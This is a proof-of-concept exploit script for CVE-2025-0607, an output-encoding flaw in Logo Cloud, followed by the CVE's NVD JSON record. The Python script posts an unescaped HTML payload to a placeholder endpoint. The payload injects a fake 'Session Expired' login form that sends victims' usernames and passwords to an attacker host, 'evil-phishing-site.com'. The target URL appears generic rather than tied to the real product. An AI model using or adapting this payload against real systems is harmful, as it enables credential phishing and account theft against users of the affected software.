CVE-2025-0607

# CVE-2025-0607 PoC - Logo Cloud Output Encoding/Phishing # Vulnerability: Improper Encoding or Escaping of Output # Attack Vector: Inject malicious HTML/JS payload via unescaped output fields import requests TARGET_URL = "https://target-logo-cloud-instance.com/api/vulnerable_endpoint" SESSION_COOKIES = {"session": "attacker_session_token"} # Requires high privilege (PR:H) # Malicious payload - phishing form injected via unescaped output PHISHING_PAYLOAD = { "field_name": "</div><form action='https://evil-phishing-site.com/steal' method='POST'>" "<h3>Session Expired - Please Re-login</h3>" "<input type='text' name='username' placeholder='Username'>" "<input type='password' name='password' placeholder='Password'>" "<button type='submit'>Login</button></form><div>" } def exploit(): """ Step 1: Attacker with high privilege (PR:H) injects payload Step 2: Legitimate user (UI:R) visits the affected page Step 3: Unescaped output renders phishing form in victim's browser Step 4: Victim credentials are sent to attacker's server """ # Inject the malicious payload into the vulnerable field response = requests.post(TARGET_URL, data=PHISHING_PAYLOAD, cookies=SESSION_COOKIES) if response.status_code == 200: print("[+] Payload injected successfully") print("[+] Awaiting victim interaction (UI:R required)...") # When victim visits the page, phishing form will be rendered # due to improper output encoding, stealing their credentials else: print(f"[-] Injection failed: {response.status_code}") exploit()

{"cve": {"id": "CVE-2025-0607", "sourceIdentifier": "[email protected]", "published": "2025-10-06T10:15:32.523", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Encoding or Escaping of Output vulnerability in Logo Software Inc. Logo Cloud allows Phishing.This issue affects Logo Cloud: before 2.57."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0318", "source": "[email protected]"}]}}